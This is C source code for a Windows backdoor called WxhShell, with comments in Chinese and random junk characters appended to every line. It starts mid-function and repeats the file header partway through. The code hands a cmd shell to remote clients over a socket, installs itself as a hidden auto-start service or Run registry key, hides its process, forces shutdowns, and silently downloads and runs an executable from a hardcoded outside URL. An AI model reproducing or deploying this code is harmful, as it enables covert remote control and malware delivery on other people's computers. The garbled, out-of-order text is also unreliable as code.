    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o Q*LP{M  
    if(Boot(SHUTDOWN)) tGbx/$Y   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); voTP,R[}85  
    else { [f[Wz{Q#Y  
    closesocket(wsh); !"-.D4*r  
    ExitThread(0); iTT%_-X-  
    } %""h:1/S  
    break; OjG`s-91&  
    } B(} 'yY@%u  
  // 获取shell vM$hCV ~N  
  case 's': { >,_0Mem2Rr  
    CmdShell(wsh); EQw7(r|v:  
    closesocket(wsh); Di}M\!-[  
    ExitThread(0); F?cwIE\J  
    break; =*zde0T?l  
  } Q7d@+C  
  // 退出 y7rT[f/J  
  case 'x': { s aHY9{)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BgDWl{pm  
    CloseIt(wsh); x%[NK[^&  
    break; hsYE&Np_Q  
    } FgrVXb_q  
  // 离开 Je2&7uR0  
  case 'q': { !#*#jixo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BpX`49  
    closesocket(wsh); /iAhGY  
    WSACleanup(); $ e,r>tgD  
    exit(1); j+q)  
    break; cD)9EFo  
        } H5 :,hrZY  
  } 4sBvW  
  } DO+~    
]:']  
  // 提示信息 +9pock  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DnG9bVm>  
} z}Us+>z+jc  
  } #T{)y  
F+ RE  
  return; b35 3+7"|  
} '=\>n(%Q  
utl-#Wwt/  
// shell模块句柄 #sg dMrVQ  
int CmdShell(SOCKET sock) "68X+!  
{ cu'(Hj  
STARTUPINFO si; iWFtb)3B  
ZeroMemory(&si,sizeof(si)); U}k@%m,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7sWe32  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |-S+x]9  
PROCESS_INFORMATION ProcessInfo; "O|.e`C%^  
char cmdline[]="cmd"; | WTWj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .jC5 y&  
  return 0; kt\,$.v8  
} EA9.?F  
jENC1T(  
// 自身启动模式 T}29(xz-(h  
int StartFromService(void) ?E}gm>  
{ )UTjP/\gN  
typedef struct Ht/#d6cQ  
{ _Ex<VF u  
  DWORD ExitStatus; #a2Z.a<V  
  DWORD PebBaseAddress; 3hje  
  DWORD AffinityMask; Gr)G-zE  
  DWORD BasePriority; \&ZEIAe  
  ULONG UniqueProcessId; ka ;=%*7T  
  ULONG InheritedFromUniqueProcessId; JRZp 'Ln  
}   PROCESS_BASIC_INFORMATION; D]rYg'  
q8;MPXSG3  
PROCNTQSIP NtQueryInformationProcess; 4`fV_H.8  
k'PvQl"I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a^E>LJL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sl'$w4s   
eOkiB!G.  
  HANDLE             hProcess; nHQ *#&$  
  PROCESS_BASIC_INFORMATION pbi; .XRe:\8mc  
i_l{#*t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gm9  
  if(NULL == hInst ) return 0; 9ZatlI,  
h x8pg,X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tp.]{*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /"m#mh L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?z6K/'?  
ja/wI'J<  
  if (!NtQueryInformationProcess) return 0; eH!V%dX  
{D :WXvI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !<VP[%2L~  
  if(!hProcess) return 0; 2Ub-ufkU  
Li0+%ijM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1@|%{c&+9  
ZU `~@.`i  
  CloseHandle(hProcess); .3XiL=^~Qp  
$>uUn3hSx\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !$ii*}  
if(hProcess==NULL) return 0; =h +SZXe<r  
PApr8Xe  
HMODULE hMod; A:2CP&*  
char procName[255]; XqhrQU|wM  
unsigned long cbNeeded; P>)J:.tr0  
r!eW]M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8t, &dq  
RW1+y/#%P  
  CloseHandle(hProcess); T5e#Ll/  
R^sgafGl=  
if(strstr(procName,"services")) return 1; // 以服务启动 Z(t O]tQE  
0aI@m  
  return 0; // 注册表启动 <Kr`R+Q$DN  
} ADB)-!$xoi  
O;McPw<&\:  
// 主模块 2@pEiq3  
int StartWxhshell(LPSTR lpCmdLine) "x HK*  
{ z8%qCq  
  SOCKET wsl; zSk`Ou8M  
BOOL val=TRUE; %[9ty`UE  
  int port=0; MtF0/aT  
  struct sockaddr_in door; lcy+2)+  
qwnVtD  
  if(wscfg.ws_autoins) Install(); iC^91!<  
\Ucv<S  
port=atoi(lpCmdLine); cXf/  
llh +r?  
if(port<=0) port=wscfg.ws_port; u2$.EM/iae  
uTPAf^|  
  WSADATA data; :pz@'J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nnE'zk<"  
V=5*)i/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f\q5{#"z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I8B0@ZtV  
  door.sin_family = AF_INET; G|-RscPe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < .e4  
  door.sin_port = htons(port); f#!nj]}#  
1q5S"=+W[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q8QB{*4  
closesocket(wsl); vdB2T2F  
return 1; n _ ?+QF  
} ,O-_Pv  
.m>Qlh  
  if(listen(wsl,2) == INVALID_SOCKET) { +F-Y^):  
closesocket(wsl); *icaKy3  
return 1; n+Conp/  
} 9m v0}I  
  Wxhshell(wsl); %{cVG-<_iz  
  WSACleanup(); F$1{w"&  
a_{'I6a*,  
return 0; C!+PBk[9  
tX1`/}``  
} 89{;R  
uR.pQo07y<  
// 以NT服务方式启动 V lO^0r^z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FV aC8Kw  
{ QHUFS{G ]  
DWORD   status = 0; 'NfsAE  
  DWORD   specificError = 0xfffffff; 6-/W4L)?>  
F`(;@LO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "cly99t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZF#n(Y?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'Z9UqEGV  
  serviceStatus.dwWin32ExitCode     = 0; a MFUj+^  
  serviceStatus.dwServiceSpecificExitCode = 0; tQUKw@@Q  
  serviceStatus.dwCheckPoint       = 0; upZc~k!1\  
  serviceStatus.dwWaitHint       = 0; *&_cp]3-WF  
5=p<"*zJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *3@8,~_tp  
  if (hServiceStatusHandle==0) return; O\Z!7UQ$  
gM]E8%;{  
status = GetLastError(); B^zg#x#8  
  if (status!=NO_ERROR) Lyn{Uag  
{ ;~[}B v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z02EE-A  
    serviceStatus.dwCheckPoint       = 0; xw_$1 S  
    serviceStatus.dwWaitHint       = 0; SK@ p0:  
    serviceStatus.dwWin32ExitCode     = status; }2m>S6""A  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9xw"NcL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dBovcc  
    return; 7^M$u\a)U  
  } p W5D!z  
|S@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #8M^;4N >[  
  serviceStatus.dwCheckPoint       = 0; Z(R0IW  
  serviceStatus.dwWaitHint       = 0; _nxu8g]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vjo[rUW  
} :7obxW1X  
=ONM#DxH  
// 处理NT服务事件,比如:启动、停止 QXL .4r%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gN[t  
{ J]S30&?  
switch(fdwControl) S*J\YcqSC  
{ ]>k8v6*=  
case SERVICE_CONTROL_STOP: ycOnPTh  
  serviceStatus.dwWin32ExitCode = 0; #<sK3PT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !T ,=kh  
  serviceStatus.dwCheckPoint   = 0; !^0vi3I  
  serviceStatus.dwWaitHint     = 0; `Je1$)%  
  { QOrMz`OA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g=qaq  
  } /iQh'rp  
  return; J>;r(j  
case SERVICE_CONTROL_PAUSE: `r3 klL,W'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bXXX-Xc  
  break; gYk5}E-  
case SERVICE_CONTROL_CONTINUE: ;YMg 4Cs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3$5E1*ed  
  break; ?P>4H0@I+  
case SERVICE_CONTROL_INTERROGATE: u#^l9/tl  
  break; iPWr-  
}; K4]ZVMm/*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5|Z8UzL  
} VQG$$McJ  
@H+L1H%9n  
// 标准应用程序主函数 9(z) ^ G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yjd/  
{ _G.!^+)kEm  
=ePX^J*M'  
// 获取操作系统版本 N1.1  
OsIsNt=GetOsVer(); Lz-|M?(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !hS)W7!ik  
Y hmveV  
  // 从命令行安装 WDV=]D/OE  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6d/v%-3  
gV h&c 4  
  // 下载执行文件 xWK/uE(  
if(wscfg.ws_downexe) { kz6fU\U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5ZH3}B^L$  
  WinExec(wscfg.ws_filenam,SW_HIDE); {^uiu^RAc  
} 34k>O  
$9r4MMs{$  
if(!OsIsNt) { % a.T@E  
// 如果时win9x,隐藏进程并且设置为注册表启动 kZrc^  
HideProc(); } snS~kx  
StartWxhshell(lpCmdLine); EfpMzD7/(  
} Ij =NcP  
else ]SPuNBsy)  
  if(StartFromService()) *o:J 4'  
  // 以服务方式启动 vZ57 S13  
  StartServiceCtrlDispatcher(DispatchTable);  iD])E/  
else j&a\ K}U !  
  // 普通方式启动 )8aHj4x  
  StartWxhshell(lpCmdLine); Ty~z%=H  
`"yxmo*0  
return 0; 9^?muP<A  
} soQ[Zg4}  
O`GF |  
PE/uB,Wl  
P?n4B \!  
=========================================== ^EkxZ4*g  
5jwv!L<n  
~OvbMWu  
H<<t^,E^.t  
mT UoFXX[  
&=n/h5e0t&  
" %xQ'i4`  
2e-bt@0t  
#include <stdio.h> <%m1+%mA.  
#include <string.h> !7)#aXt&  
#include <windows.h> ANM=:EtP  
#include <winsock2.h> /QVwZrch  
#include <winsvc.h> K\8zhY  
#include <urlmon.h> U:3O E97  
I_Gz~qk6  
#pragma comment (lib, "Ws2_32.lib") mD&I6F[s  
#pragma comment (lib, "urlmon.lib") %eIaH!x:  
wF%RM$  
#define MAX_USER   100 // 最大客户端连接数 rKFnivGT  
#define BUF_SOCK   200 // sock buffer $M!iQ"bb  
#define KEY_BUFF   255 // 输入 buffer w4}Q6_0v  
$U9]v5  
#define REBOOT     0   // 重启 q+*\'H>  
#define SHUTDOWN   1   // 关机 P 6La)U`VA  
xfI0P0+  
#define DEF_PORT   5000 // 监听端口 i4h`jFS  
,c?( |tF  
#define REG_LEN     16   // 注册表键长度 $ xHtI]T  
#define SVC_LEN     80   // NT服务名长度 ^E8qI8s  
-mh"["L"  
// 从dll定义API OgC,oj,!/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (EosLn h0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8-k`"QI=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2fu<s^9dh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :b %2qBv  
$0 vT_  
// wxhshell配置信息 h!|Uj  
struct WSCFG { r<:d+5"  
  int ws_port;         // 监听端口 uP r!;'J=  
  char ws_passstr[REG_LEN]; // 口令 U$+,|\9  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;s3\Z^h4kd  
  char ws_regname[REG_LEN]; // 注册表键名 eiyr^Sch.  
  char ws_svcname[REG_LEN]; // 服务名 GI,TE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 } S]!W\a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jn(!6\n"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $cJ fdE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YaC[S^p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <DR! AR)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _Y]Oloo('  
4Otq3s34FT  
}; GQhy4ji'z  
^dhx/e%s  
// default Wxhshell configuration \#VWZ\M8a  
struct WSCFG wscfg={DEF_PORT, |%ZJN{!R  
    "xuhuanlingzhe", :3D6OBkB  
    1, _6r[msH"  
    "Wxhshell", 9s[   
    "Wxhshell", z~~pH9=c2  
            "WxhShell Service", &p_iAMn:9  
    "Wrsky Windows CmdShell Service", n^l*oEl  
    "Please Input Your Password: ", )`'a1y|  
  1, 8M,@Mb n  
  "http://www.wrsky.com/wxhshell.exe", )R'%SLw  
  "Wxhshell.exe" QKts-b[3  
    }; ~]d9 J  
JA9NTu(  
// 消息定义模块 jXALL8[c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (GpP=lSSeY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [M%? [E}>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,]:< l  
char *msg_ws_ext="\n\rExit."; +>*=~R  
char *msg_ws_end="\n\rQuit."; r4K9W9 0  
char *msg_ws_boot="\n\rReboot..."; 4K7ved)  
char *msg_ws_poff="\n\rShutdown..."; g}R Cjl4  
char *msg_ws_down="\n\rSave to "; \#Jq%nd  
-=gI_wLbM  
char *msg_ws_err="\n\rErr!"; %W7%]Z@j  
char *msg_ws_ok="\n\rOK!"; \zFCph4  
v^s?=9  
char ExeFile[MAX_PATH]; 0|j44e }  
int nUser = 0; V59!}kel1%  
HANDLE handles[MAX_USER]; nw`rH*  
int OsIsNt; YsVKdh  
e Ru5/y~  
SERVICE_STATUS       serviceStatus; HK<S|6B7V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u pUJF`3  
26k~Z}  
// 函数声明 \$DBtq5=  
int Install(void); CdmpKkq#  
int Uninstall(void); w+*rbJ  
int DownloadFile(char *sURL, SOCKET wsh); G/},lUzLg  
int Boot(int flag); O-W[^r2e  
void HideProc(void); .JB1#&B +  
int GetOsVer(void); F*Hovxez  
int Wxhshell(SOCKET wsl); Vjt7X"_/  
void TalkWithClient(void *cs); H!X*29nX  
int CmdShell(SOCKET sock); W5Pur lu?  
int StartFromService(void); HpIi-Es7C  
int StartWxhshell(LPSTR lpCmdLine); &-Wt!X 3  
8N9,HNBT$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mk!8>XvM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w42{)S"  
SC4jKm2  
// 数据结构和表定义 sH2xkUp  
SERVICE_TABLE_ENTRY DispatchTable[] = XP%_|Q2X  
{ 7_qsVhh]$E  
{wscfg.ws_svcname, NTServiceMain}, |ZifrkD=  
{NULL, NULL} VWK/(>TP  
}; CL7 /J[TS  
;y@zvec4  
// 自我安装 Cu24xP`  
int Install(void) : fYfXm  
{ LK*9`dzv=G  
  char svExeFile[MAX_PATH]; `fX\pOk~e  
  HKEY key; y_q1Y70i2r  
  strcpy(svExeFile,ExeFile); 2W_[|.;'  
BCz4 s{F  
// 如果是win9x系统,修改注册表设为自启动 _eBNbO_J  
if(!OsIsNt) { JLoE)\Mi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R[v<mo[s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L&:A59)1k  
  RegCloseKey(key); 0Qvr g+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DO*6gzW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ /%Y]d$  
  RegCloseKey(key); W|rAn2H  
  return 0; *dBmb  
    } w%)RX<h dI  
  } PyHL`PZZ  
} V/"RCqY4  
else { ;Wk3>\nT-  
6 ]<yR> '  
// 如果是NT以上系统,安装为系统服务 H\<0{#F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C\BKdx5;  
if (schSCManager!=0) yY49JZ  
{ h;r^9g  
  SC_HANDLE schService = CreateService |P|2E~[r  
  ( &Fuk+Cu{  
  schSCManager, Zj ` ;IYFG  
  wscfg.ws_svcname, f B]2"(  
  wscfg.ws_svcdisp, <_eEpG}9  
  SERVICE_ALL_ACCESS, 9 4lt?|3=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <im}R9eJ1  
  SERVICE_AUTO_START, ( )ldn?v  
  SERVICE_ERROR_NORMAL, 1'TS!/ll];  
  svExeFile, )AdwA+-x  
  NULL, jR\ !2!  
  NULL, m3P7*S5NJ7  
  NULL, s/11 TgJ  
  NULL, ~.U \Y  
  NULL $qZ6i  
  ); $[MAm)c:]{  
  if (schService!=0) _<c}iZv@  
  { o::9M_;  
  CloseServiceHandle(schService); iRG6Cw2  
  CloseServiceHandle(schSCManager); 4A(h'(^7A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i-4L{T\K  
  strcat(svExeFile,wscfg.ws_svcname);  DQV9=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N:+EGmp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p^ROt'eQ<  
  RegCloseKey(key); 3jJV5J'"  
  return 0; k6z]"[yu  
    } \k=%G_W  
  } Oz]$zRu/0  
  CloseServiceHandle(schSCManager); \' A- Lp  
} j%]sym  
} R!X+-  
gC kR$.-E  
return 1; ZDI?"dt{  
} O6b+eS  
?LU>2!jN  
// 自我卸载 V7gL*,3>=  
int Uninstall(void) UEYJd&n0CB  
{ C;U4`0=8  
  HKEY key; awz.~c++  
a;~< iB;3"  
if(!OsIsNt) { /#eS3`48  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "66#F  
  RegDeleteValue(key,wscfg.ws_regname); J[S!<\_!  
  RegCloseKey(key); yn(bW\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /6y{ ?0S  
  RegDeleteValue(key,wscfg.ws_regname); $1zWQJd[-  
  RegCloseKey(key); g@/}SJh/>  
  return 0; TEj"G7]1$A  
  } -*T0Cl.  
} wzoT!-_X  
} PX/^*  
else { K~3Y8ca  
L|-|DOgw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3X',L*f  
if (schSCManager!=0) Uy)pEEu  
{ r6aIW8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2* T Ir  
  if (schService!=0) D88IU9V&n  
  { U-,s/VQ?  
  if(DeleteService(schService)!=0) { Z}>;@c  
  CloseServiceHandle(schService); 5^ ubXA  
  CloseServiceHandle(schSCManager); N;>s|ET  
  return 0; " L,9.b  
  } q%vel.L]%  
  CloseServiceHandle(schService); 4,Uqcw?!F'  
  } {36N=A  
  CloseServiceHandle(schSCManager); {:n1|_r4Z  
} seP h%Sa_  
} 6^BT32,'  
-G_3B(]`  
return 1; {KEmGHC4R  
} 4_'BoU4  
Wy/h"R\=  
// 从指定url下载文件 l4iklg3  
int DownloadFile(char *sURL, SOCKET wsh) n8T'}d+mm  
{ Q6 m.yds  
  HRESULT hr; lU$0e09  
char seps[]= "/"; [[';Hi^  
char *token; A =&`TfXu  
char *file; (q}Li rR  
char myURL[MAX_PATH]; }:J-o  
char myFILE[MAX_PATH]; H}CmSo8&  
q68m*1?y  
strcpy(myURL,sURL); 7<B-2g  
  token=strtok(myURL,seps); d:_;  
  while(token!=NULL) AqaMi  
  { ~>~qA0m"m  
    file=token; _nX8f &  
  token=strtok(NULL,seps); 4)'U!jSb  
  } K,U8vc  
44YKS>Cq  
GetCurrentDirectory(MAX_PATH,myFILE); #ZnNJ\6  
strcat(myFILE, "\\"); =WZ@{z9J  
strcat(myFILE, file); ?FR-a Xx  
  send(wsh,myFILE,strlen(myFILE),0); +.|RH  
send(wsh,"...",3,0); S9%,{y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *{Z=)k%  
  if(hr==S_OK) AA=eWg  
return 0; Y"m(hs $  
else 91q  
return 1; HGd.meQ  
WNKP';(a@G  
} NN5Ejr,  
kh#fUAt  
// 系统电源模块 fl2XI=[v4  
int Boot(int flag) &"J;  
{ \ptjnwC^O  
  HANDLE hToken; x5/&,&m`%  
  TOKEN_PRIVILEGES tkp; /s=veiH  
p7r/`_'|  
  if(OsIsNt) { tp&|*M3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A%^7D.j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }owl7G3  
    tkp.PrivilegeCount = 1; *BF[thB:a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L*vKIP<EMM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gA@Zx%0j  
if(flag==REBOOT) { _G25$%/LU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E7aG&K  
  return 0; n"Bc2}{  
} SR?(z  
else { %&V%=-O_7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S)4p'cUwq  
  return 0; HTvUt*U1  
} h@(+(fVHrp  
  } n}(A4^=4KQ  
  else { K1]3zLnS  
if(flag==REBOOT) { 1Ax;|.KQH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *0Fz." v  
  return 0; _u~0t`f~  
} 've[Mx  
else { be5N{lPT@;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lNWP9?X  
  return 0; b >k2@  
} C4|OsC7J  
} !7MRHI/0C  
WBm)Q#1:  
return 1; ,_,*I/o>B  
} (hQi {  
Z|ZB6gP>h1  
// win9x进程隐藏模块 1)z Xv  
void HideProc(void) Q {BA`Q@V  
{ ;/JXn  
MOnTp8   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mo(>SnS<  
  if ( hKernel != NULL ) K' <[kh:cl  
  { _5x]BH6f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ud e?[6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p?4[nS-,  
    FreeLibrary(hKernel); CXyb8z4/+  
  } 1KBGML-K3  
HiH<'m"\.  
return; PB8g4-?p6  
} U/|JAg #  
D>HbJCG4^  
// 获取操作系统版本 $ &KkZ  
int GetOsVer(void) *)6\ V}`  
{ ;^E_BJm  
  OSVERSIONINFO winfo; pIYXYQ=Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s;* UP   
  GetVersionEx(&winfo); -V[x q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VfP\)Rl  
  return 1; &/"a E  
  else > TBXT+  
  return 0; FOMJRq  
} vZ.<OD4  
< *;GJ{  
// 客户端句柄模块 jvL!pEC!  
int Wxhshell(SOCKET wsl) %b4tyX:N0  
{ `ZI-1&Y3  
  SOCKET wsh; a_?b <  
  struct sockaddr_in client; R*6B@<p,i  
  DWORD myID; /wt7KL- I  
\x]\W#C  
  while(nUser<MAX_USER)  P Je_qP  
{ JPng !tvR  
  int nSize=sizeof(client); 8UqH"^9.Q7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jC{KI!kPt  
  if(wsh==INVALID_SOCKET) return 1; GdVF;  
>8=lX`9f{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0.w7S6v|&  
if(handles[nUser]==0) 6pbCQ q  
  closesocket(wsh); E]GbLU;TH  
else A~<!@`NjB  
  nUser++; [(5.?  
  } BK6 X)1R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); } e+`Kxy  
0`-b57lF&  
  return 0; 5Pn.c!  
} %DXBl:!Y`  
A8Fe@$<#8  
// 关闭 socket Vd  d  
void CloseIt(SOCKET wsh) x-X~'p'f  
{ BI%XF 9{  
closesocket(wsh); #u8#< ,w  
nUser--; =|ODa/2 p  
ExitThread(0); [3nWxFz$R  
} dr:x0>  
g3>>gu#0DC  
// 客户端请求句柄 hd~#I<8;2  
void TalkWithClient(void *cs) vO~  Tx  
{ CE c(2q+%i  
,qv\Y]  
  SOCKET wsh=(SOCKET)cs; L~Peerby  
  char pwd[SVC_LEN]; -`* 'p i  
  char cmd[KEY_BUFF]; {tY1$}R  
char chr[1]; kmc"`Ogotw  
int i,j; %<(d %&~  
|l+5E   
  while (nUser < MAX_USER) { 8B?U\cfa^  
~~-VScG&  
if(wscfg.ws_passstr) { %]DA4W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =&$z Nc4h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c3g`k"3*`  
  //ZeroMemory(pwd,KEY_BUFF); Abt<23$h  
      i=0; %'2.9dB  
  while(i<SVC_LEN) { 7H< IO`  
*URT-+'  
  // 设置超时 tzIP4CR~F&  
  fd_set FdRead; "V 26\  
  struct timeval TimeOut; p'2IlQ\  
  FD_ZERO(&FdRead); 4^bt~{}  
  FD_SET(wsh,&FdRead); >$L7J=Em  
  TimeOut.tv_sec=8; igk<]AwxS  
  TimeOut.tv_usec=0; PE4 L7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M>p<1`t-&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  #O\as~-  
rlY0UA,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >L2_k'uE+;  
  pwd=chr[0]; SM4`Hys;p  
  if(chr[0]==0xd || chr[0]==0xa) { m x |V)  
  pwd=0; 'kcR:5B  
  break; aXJ/"k #Tl  
  } 6Jb0MX"AVr  
  i++; A?!RF7v  
    } 6{1=3.CL  
{>msE }L  
  // 如果是非法用户,关闭 socket ; /K6U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #YE?&5t  
} __.MS6"N  
A`f"<W-m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <;PKec  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J*$%d1  
$$1t4=Pz  
while(1) { *kFd#b+xB  
aPEI_P+Ls  
  ZeroMemory(cmd,KEY_BUFF); )c' 45 bD  
?1JY6v]h4  
      // 自动支持客户端 telnet标准   ^?+[yvq  
  j=0; P{6$".kIY  
  while(j<KEY_BUFF) { Rq5'=L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '!7>*<  
  cmd[j]=chr[0]; '%[ Y  
  if(chr[0]==0xa || chr[0]==0xd) { goIv m:?  
  cmd[j]=0;  c2M  
  break; {&IB[Y6  
  } ;98b SR/  
  j++; 7UMZs7L$  
    } 0HoHu*+FX  
aM;SE9/U  
  // 下载文件 Y_:jc{?  
  if(strstr(cmd,"http://")) { |di(hY|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kWZY+jyt P  
  if(DownloadFile(cmd,wsh)) Nbd4>M<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <lf692.3  
  else ZPG,o5`%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j}ob7O&U'w  
  } uv/\1N;V3  
  else { jj2iF/  
Intuda7e1  
